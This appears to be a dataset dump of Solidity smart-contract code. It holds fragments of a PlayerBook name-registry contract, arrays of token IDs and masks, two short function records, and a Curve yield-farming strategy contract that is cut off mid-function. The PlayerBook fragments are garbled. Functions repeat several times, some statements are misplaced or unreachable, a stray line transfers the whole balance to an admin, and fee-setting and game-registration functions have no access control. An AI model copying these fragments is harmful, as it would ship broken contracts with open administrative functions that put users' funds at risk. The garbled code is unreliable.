for (uint256 i = 1; i <= gID_; i++)
{
games_[i].receivePlayerInfo(_pID, _addr, _name, _laff);
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
}
function useMyOldName(string _nameString)
isHuman()
public
{
bytes32 _name = _nameString.nameFilter();
uint256 _pID = pIDxAddr_[msg.sender];
require(plyrNames_[_pID][_name] == true, "umm... thats not a name you own");
plyr_[_pID].name = _name;
}
function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all)
private
{
if (pIDxName_[_name] != 0)
require(plyrNames_[_pID][_name] == true, "sorry that names already taken");
plyr_[_pID].name = _name;
pIDxName_[_name] = _pID;
if (plyrNames_[_pID][_name] == false)
{
plyrNames_[_pID][_name] = true;
plyr_[_pID].names++;
plyrNameList_[_pID][plyr_[_pID].names] = _name;
}
for (uint256 i = 1; i <= gID_; i++)
games_[i].receivePlayerInfo(_pID, _addr, _name, _affID);
}
function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all)
private
{
if (pIDxName_[_name] != 0)
require(plyrNames_[_pID][_name] == true, "sorry that names already taken");
plyr_[_pID].name = _name;
pIDxName_[_name] = _pID;
if (plyrNames_[_pID][_name] == false)
{
plyrNames_[_pID][_name] = true;
plyr_[_pID].names++;
plyrNameList_[_pID][plyr_[_pID].names] = _name;
}
for (uint256 i = 1; i <= gID_; i++)
games_[i].receivePlayerInfo(_pID, _addr, _name, _affID);
}
admin.transfer(address(this).balance);
if (_all == true)
emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now);
function determinePID(address _addr)
private
returns (bool)
{
if (pIDxAddr_[_addr] == 0)
{
pID_++;
pIDxAddr_[_addr] = pID_;
plyr_[pID_].addr = _addr;
return (true);
return (false);
}
}
function determinePID(address _addr)
private
returns (bool)
{
if (pIDxAddr_[_addr] == 0)
{
pID_++;
pIDxAddr_[_addr] = pID_;
plyr_[pID_].addr = _addr;
return (true);
return (false);
}
}
} else {
function getPlayerID(address _addr)
isRegisteredGame()
external
returns (uint256)
{
determinePID(_addr);
return (pIDxAddr_[_addr]);
}
function getPlayerName(uint256 _pID)
external
view
returns (bytes32)
{
return (plyr_[_pID].name);
}
function getPlayerLAff(uint256 _pID)
external
view
returns (uint256)
{
return (plyr_[_pID].laff);
}
function getPlayerAddr(uint256 _pID)
external
view
returns (address)
{
return (plyr_[_pID].addr);
}
function getNameFee()
external
view
returns (uint256)
{
return(registrationFee_);
}
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID = _affCode;
if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID)
{
plyr_[_pID].laff = _affID;
_affID = 0;
}
return(_isNewPlayer, _affID);
}
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID = _affCode;
if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID)
{
plyr_[_pID].laff = _affID;
_affID = 0;
}
return(_isNewPlayer, _affID);
}
} else if (_affID == _pID) {
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
return(_isNewPlayer, _affID);
}
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
return(_isNewPlayer, _affID);
}
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
return(_isNewPlayer, _affID);
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
return(_isNewPlayer, _affID);
}
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
return(_isNewPlayer, _affID);
}
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
return(_isNewPlayer, _affID);
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
function addGame(address _gameAddress, string _gameNameStr)
public
{
require(gameIDs_[_gameAddress] == 0, "derp, that games already been registered");
gID_++;
bytes32 _name = _gameNameStr.nameFilter();
gameIDs_[_gameAddress] = gID_;
gameNames_[_gameAddress] = _name;
games_[gID_] = PlayerBookReceiverInterface(_gameAddress);
games_[gID_].receivePlayerInfo(1, plyr_[1].addr, plyr_[1].name, 0);
games_[gID_].receivePlayerInfo(2, plyr_[2].addr, plyr_[2].name, 0);
games_[gID_].receivePlayerInfo(3, plyr_[3].addr, plyr_[3].name, 0);
games_[gID_].receivePlayerInfo(4, plyr_[4].addr, plyr_[4].name, 0);
}
function setRegistrationFee(uint256 _fee)
public
{
registrationFee_ = _fee;
}
}
| 6,501,870 |
[
1,
9917,
26678,
377,
389,
96,
389,
389,
96,
67,
389,
565,
389,
389,
389,
96,
67,
565,
389,
282,
263,
565,
261,
67,
96,
24899,
96,
571,
261,
67,
96,
225,
389,
30351,
18510,
571,
571,
67,
20081,
67,
13,
225,
263,
2429,
14468,
33,
96,
20775,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
19185,
9084,
288,
203,
565,
1450,
1770,
1586,
364,
533,
31,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
565,
1758,
3238,
3981,
273,
1234,
18,
15330,
31,
203,
565,
1958,
19185,
288,
203,
3639,
1758,
3091,
31,
203,
3639,
1731,
1578,
508,
31,
203,
3639,
2254,
5034,
7125,
1403,
31,
203,
3639,
2254,
5034,
1257,
31,
203,
565,
289,
203,
3639,
1071,
203,
565,
3885,
1435,
203,
565,
288,
203,
3639,
293,
715,
86,
67,
63,
21,
8009,
4793,
273,
374,
92,
28,
73,
20,
72,
29,
7140,
74,
23,
23057,
2643,
10321,
5948,
71,
5520,
38,
6669,
69,
37,
378,
1639,
69,
26,
38,
6938,
38,
9599,
72,
8643,
31,
203,
3639,
293,
715,
86,
67,
63,
21,
8009,
529,
273,
315,
3732,
83,
14432,
203,
3639,
293,
715,
86,
67,
63,
21,
8009,
1973,
273,
404,
31,
203,
3639,
293,
734,
92,
3178,
67,
63,
20,
92,
28,
73,
20,
72,
29,
7140,
74,
23,
23057,
2643,
10321,
5948,
71,
5520,
38,
6669,
69,
37,
378,
1639,
69,
26,
38,
6938,
38,
9599,
72,
8643,
65,
273,
404,
31,
203,
3639,
293,
734,
92,
461,
67,
9614,
3732,
83,
11929,
273,
404,
31,
203,
3639,
293,
715,
86,
1557,
67,
63,
21,
6362,
6,
3732,
83,
11929,
273,
638,
31,
203,
3639,
293,
715,
86,
461,
682,
67,
63,
21,
6362,
21,
65,
273,
315,
3732,
83,
14432,
203,
203,
3639,
293,
715,
86,
67,
63,
22,
8009,
4793,
273,
374,
92,
28,
70,
24,
9793,
2643,
2
] |
./full_match/1/0x2B81d60dc40f6Ca230be5Abf5641D4c2E38dba01/sources/src/vaults/VaultGovernance.sol
|
@inheritdoc IVaultGovernance
|
function commitInternalParams() external {
_requireProtocolAdmin();
require(_internalParamsTimestamp != 0, ExceptionsLibrary.NULL);
require(block.timestamp >= _internalParamsTimestamp, ExceptionsLibrary.TIMESTAMP);
_internalParams = _stagedInternalParams;
delete _internalParamsTimestamp;
delete _stagedInternalParams;
emit CommitedInternalParams(tx.origin, msg.sender, _internalParams);
}
| 8,327,312 |
[
1,
36,
10093,
467,
12003,
43,
1643,
82,
1359,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
3294,
3061,
1370,
1435,
3903,
288,
203,
3639,
389,
6528,
5752,
4446,
5621,
203,
3639,
2583,
24899,
7236,
1370,
4921,
480,
374,
16,
12781,
9313,
18,
8560,
1769,
203,
3639,
2583,
12,
2629,
18,
5508,
1545,
389,
7236,
1370,
4921,
16,
12781,
9313,
18,
17201,
1769,
203,
3639,
389,
7236,
1370,
273,
389,
334,
11349,
3061,
1370,
31,
203,
3639,
1430,
389,
7236,
1370,
4921,
31,
203,
3639,
1430,
389,
334,
11349,
3061,
1370,
31,
203,
3639,
3626,
10269,
329,
3061,
1370,
12,
978,
18,
10012,
16,
1234,
18,
15330,
16,
389,
7236,
1370,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x4283a97566A7Cd77c3C4Fc138D58224a98bBe5e9/sources/OPEPE2.sol
|
* @dev Returns the integer division of two unsigned integers. Reverts on division by zero. The result is rounded towards zero. Counterpart to Solidity's `/` operator. Note: this function uses a `revert` opcode (which leaves remaining gas untouched) while Solidity uses an invalid opcode to revert (consuming all remaining gas). Requirements: - The divisor cannot be zero./
|
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMathLibrary: division by zero");
}
| 3,594,020 |
[
1,
1356,
326,
3571,
16536,
434,
2795,
9088,
12321,
18,
868,
31537,
603,
16536,
635,
3634,
18,
1021,
563,
353,
16729,
23248,
3634,
18,
9354,
2680,
358,
348,
7953,
560,
1807,
1375,
19,
68,
3726,
18,
3609,
30,
333,
445,
4692,
279,
1375,
266,
1097,
68,
11396,
261,
12784,
15559,
4463,
16189,
640,
869,
19370,
13,
1323,
348,
7953,
560,
4692,
392,
2057,
11396,
358,
15226,
261,
17664,
310,
777,
4463,
16189,
2934,
29076,
30,
300,
1021,
15013,
2780,
506,
3634,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
3739,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
3739,
12,
69,
16,
324,
16,
315,
9890,
10477,
9313,
30,
16536,
635,
3634,
8863,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../abstract/ReaperBaseStrategyv1_1.sol";
import "../interfaces/IUniswapV2Router02.sol";
import "../interfaces/ICurveRegistry.sol";
import "../interfaces/ICurveSwap.sol";
import "../interfaces/ICurveSwap3.sol";
import "../interfaces/IRewardsGauge.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol";
/**
* @dev Deposit a Curve LP token into the Curve rewardGauge to farm WFTM, CRV, GEIST
*/
contract ReaperStrategyCurve is ReaperBaseStrategyv1_1 {
using SafeERC20Upgradeable for IERC20Upgradeable;
// 3rd-party contract addresses
address public constant SPOOKY_ROUTER =
address(0xF491e7B69E4244ad4002BC14e878a34207E38c29);
address public constant CURVE_REGISTRY =
address(0x0f854EA9F38ceA4B1c2FC79047E9D0134419D5d6);
address public swapPool;
address public rewardsGauge;
/**
* @dev Tokens Used:
* {WFTM} - Required for liquidity routing when doing swaps. Also reward token.
* {CRV} - Reward token.
* {GEIST} - Reward token.
* {want} - The Curve LP token (like tricrypto)
* {depositToken} - Token that is part of the want LP and can be used to deposit and create the LP
*/
address public constant WFTM =
address(0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83);
address public constant CRV =
address(0x1E4F97b9f9F913c46F1632781732927B9019C68b);
address public constant GEIST =
address(0xd8321AA83Fb0a4ECd6348D4577431310A6E0814d);
address public want;
address public depositToken;
/**
* @dev Paths used to swap tokens:
* {crvToWftmPath} - to swap {CRV} to {WFTM} (using SPOOKY_ROUTER)
* {geistToWftmPath} - to swap {GEIST} to {WFTM} (using SPOOKY_ROUTER)
* {wftmToDepositPath} - to swap {WFTM} to {depositToken} (using SPOOKY_ROUTER)
*/
address[] public crvToWftmPath;
address[] public geistToWftmPath;
address[] public wftmToDepositPath;
/**
* @dev Curve variables
* {depositIndex} - The index of the token in the want LP used to deposit and create the LP
*/
uint256 public depositIndex;
/**
* @dev Initializes the strategy. Sets parameters and saves routes.
* @notice see documentation for each variable above its respective declaration.
*/
function initialize(
address _vault,
address[] memory _feeRemitters,
address[] memory _strategists,
address _pool,
address _gauge,
uint256 _depositIndex,
address[] memory _wftmToDepositPath
) public initializer {
__ReaperBaseStrategy_init(_vault, _feeRemitters, _strategists);
swapPool = _pool;
rewardsGauge = _gauge;
want = ICurveRegistry(CURVE_REGISTRY).get_lp_token(swapPool);
setDepositTokenParams(_depositIndex, _wftmToDepositPath);
crvToWftmPath = [CRV, WFTM];
geistToWftmPath = [GEIST, WFTM];
_giveAllowances();
}
/**
* @dev Function that puts the funds to work.
* It gets called whenever someone deposits in the strategy's vault contract.
*/
function _deposit() internal override {
uint256 wantBalance = IERC20Upgradeable(want).balanceOf(address(this));
if (wantBalance != 0) {
IRewardsGauge(rewardsGauge).deposit(
wantBalance,
address(this),
false
);
}
}
/**
* @dev Withdraws funds and sends them back to the vault.
*/
function _withdraw(uint256 _amount) internal override {
uint256 wantBalance = IERC20Upgradeable(want).balanceOf(address(this));
if (wantBalance < _amount) {
IRewardsGauge(rewardsGauge).withdraw(_amount - wantBalance, false);
}
IERC20Upgradeable(want).safeTransfer(vault, _amount);
}
/**
* @dev Core function of the strat, in charge of collecting and re-investing rewards.
* 1. Claims rewards
* 2. Swaps reward tokens to wftm
* 3. Claims fees for the harvest caller and treasury
* 4. Creates the want LP tokens
* 5. Deposits new LP tokens
*/
function _harvestCore() internal override {
_claimRewards();
_swapRewards();
_chargeFees();
_addLiquidity();
_deposit();
}
/**
* @dev Core harvest function. Claims {WFTM}, {GEIST} and {CRV} rewards from the gauge.
*/
function _claimRewards() internal {
IRewardsGauge(rewardsGauge).claim_rewards();
}
/**
* @dev Core harvest function. Swaps {GEIST} and {CRV} balances into {WFTM}.
*/
function _swapRewards() internal {
uint256 crvBal = IERC20Upgradeable(CRV).balanceOf(address(this));
uint256 geistBal = IERC20Upgradeable(GEIST).balanceOf(address(this));
_swap(crvBal, crvToWftmPath);
_swap(geistBal, geistToWftmPath);
}
/**
* @dev Helper function to swap tokens given an {_amount} and {_path},
*/
function _swap(uint256 _amount, address[] memory _path) internal {
if (_path.length < 2 || _amount == 0) {
return;
}
IUniswapV2Router02(SPOOKY_ROUTER)
.swapExactTokensForTokensSupportingFeeOnTransferTokens(
_amount,
0,
_path,
address(this),
block.timestamp
);
}
/**
* @dev Core harvest function.
* Charges fees based on the amount of WFTM gained from reward
*/
function _chargeFees() internal {
IERC20Upgradeable wftm = IERC20Upgradeable(WFTM);
uint256 wftmFee = (wftm.balanceOf(address(this)) * totalFee) /
PERCENT_DIVISOR;
if (wftmFee != 0) {
uint256 callFeeToUser = (wftmFee * callFee) / PERCENT_DIVISOR;
uint256 treasuryFeeToVault = (wftmFee * treasuryFee) /
PERCENT_DIVISOR;
uint256 feeToStrategist = (treasuryFeeToVault * strategistFee) /
PERCENT_DIVISOR;
treasuryFeeToVault -= feeToStrategist;
wftm.safeTransfer(msg.sender, callFeeToUser);
wftm.safeTransfer(treasury, treasuryFeeToVault);
wftm.safeTransfer(strategistRemitter, feeToStrategist);
}
}
/**
* @dev Core harvest function. Adds more liquidity using {depositToken}
*/
function _addLiquidity() internal {
uint256 wftmBal = IERC20Upgradeable(WFTM).balanceOf(address(this));
_swap(wftmBal, wftmToDepositPath);
uint256 depositBalance = IERC20Upgradeable(depositToken).balanceOf(
address(this)
);
if (depositBalance != 0) {
uint256[3] memory amounts;
amounts[depositIndex] = depositBalance;
ICurveSwap3(swapPool).add_liquidity(amounts, 0, true);
}
}
/**
* @dev Function to calculate the total {want} held by the strat.
* It takes into account both the funds in hand, plus the funds in the MasterChef.
*/
function balanceOf() public view override returns (uint256) {
return balanceOfWant() + balanceOfPool();
}
// it calculates how much 'want' this contract holds.
// could probably inline this it's only used in one spot
function balanceOfWant() public view returns (uint256) {
return IERC20Upgradeable(want).balanceOf(address(this));
}
// it calculates how much 'want' the strategy has working in the farm.
function balanceOfPool() public view returns (uint256) {
return IRewardsGauge(rewardsGauge).balanceOf(address(this));
}
/**
* @dev Returns the approx amount of profit from harvesting.
* Profit is denominated in WFTM, and takes fees into account.
*/
function estimateHarvest()
external
view
override
returns (uint256 profit, uint256 callFeeToUser)
{
uint256 pendingCRVReward = IRewardsGauge(rewardsGauge).claimable_reward(
address(this),
CRV
);
uint256 totalCRVRewards = pendingCRVReward +
IERC20Upgradeable(CRV).balanceOf(address(this));
uint256 pendingGeistReward = IRewardsGauge(rewardsGauge)
.claimable_reward(address(this), GEIST);
uint256 totalGeistRewards = pendingGeistReward +
IERC20Upgradeable(GEIST).balanceOf(address(this));
uint256 pendingWFTMReward = IRewardsGauge(rewardsGauge)
.claimable_reward(address(this), WFTM);
uint256 totalWFTMRewards = pendingWFTMReward +
IERC20Upgradeable(WFTM).balanceOf(address(this));
if (totalCRVRewards != 0) {
profit += IUniswapV2Router02(SPOOKY_ROUTER).getAmountsOut(
totalCRVRewards,
crvToWftmPath
)[1];
}
if (totalGeistRewards != 0) {
profit += IUniswapV2Router02(SPOOKY_ROUTER).getAmountsOut(
totalGeistRewards,
geistToWftmPath
)[1];
}
profit += totalWFTMRewards;
uint256 wftmFee = (profit * totalFee) / PERCENT_DIVISOR;
callFeeToUser = (wftmFee * callFee) / PERCENT_DIVISOR;
profit -= wftmFee;
}
/**
* @notice Admin function to update depositToken-related variables. Public instead of internal
* since we also call this during initialization.
*/
function setDepositTokenParams(
uint256 _newDepositIndex,
address[] memory _newDepositToWftmPath
) public {
_onlyStrategistOrOwner();
uint256 numTokens = ICurveRegistry(CURVE_REGISTRY).get_n_coins(
swapPool
)[0];
require(_newDepositIndex < numTokens, "out of bounds!");
depositIndex = _newDepositIndex;
depositToken = ICurveSwap(swapPool).underlying_coins(_newDepositIndex);
wftmToDepositPath = _newDepositToWftmPath;
uint256 depositTokenAllowance = type(uint256).max -
IERC20Upgradeable(depositToken).allowance(address(this), swapPool);
IERC20Upgradeable(depositToken).safeIncreaseAllowance(
swapPool,
depositTokenAllowance
);
}
/**
* @dev Function to retire the strategy. Claims all rewards and withdraws
* all principal from external contracts, and sends everything back to
* the vault. Can only be called by strategist or owner.
*
* Note: this is not an emergency withdraw function. For that, see panic().
*/
function _retireStrat() internal override {
_harvestCore();
IRewardsGauge(rewardsGauge).withdraw(balanceOfPool());
uint256 wantBalance = IERC20Upgradeable(want).balanceOf(address(this));
IERC20Upgradeable(want).transfer(vault, wantBalance);
}
/**
* Withdraws all funds leaving rewards behind.
*/
function _reclaimWant() internal override {
bool claimRewards = false;
IRewardsGauge(rewardsGauge).withdraw(balanceOfPool(), claimRewards);
}
/**
* @dev Gives all the necessary allowances to:
* - deposit {want} into {rewardsGauge}
* - swap {CRV} using {SPOOKY_ROUTER}
* - swap {GEIST} using {SPOOKY_ROUTER}
* - swap {WFTM} using {SPOOKY_ROUTER}
*/
function _giveAllowances() internal override {
// want -> rewardsGauge
uint256 wantAllowance = type(uint256).max -
IERC20Upgradeable(want).allowance(address(this), rewardsGauge);
IERC20Upgradeable(want).safeIncreaseAllowance(
rewardsGauge,
wantAllowance
);
// CRV -> SPOOKY_ROUTER
uint256 crvAllowance = type(uint256).max -
IERC20Upgradeable(CRV).allowance(address(this), SPOOKY_ROUTER);
IERC20Upgradeable(CRV).safeIncreaseAllowance(
SPOOKY_ROUTER,
crvAllowance
);
// GEIST -> SPOOKY_ROUTER
uint256 geistAllowance = type(uint256).max -
IERC20Upgradeable(GEIST).allowance(address(this), SPOOKY_ROUTER);
IERC20Upgradeable(GEIST).safeIncreaseAllowance(
SPOOKY_ROUTER,
geistAllowance
);
// WFTM -> SPOOKY_ROUTER
uint256 wftmAllowance = type(uint256).max -
IERC20Upgradeable(WFTM).allowance(address(this), SPOOKY_ROUTER);
IERC20Upgradeable(WFTM).safeIncreaseAllowance(
SPOOKY_ROUTER,
wftmAllowance
);
}
/**
* @dev Removes all the allowances that were given above.
*/
function _removeAllowances() internal override {
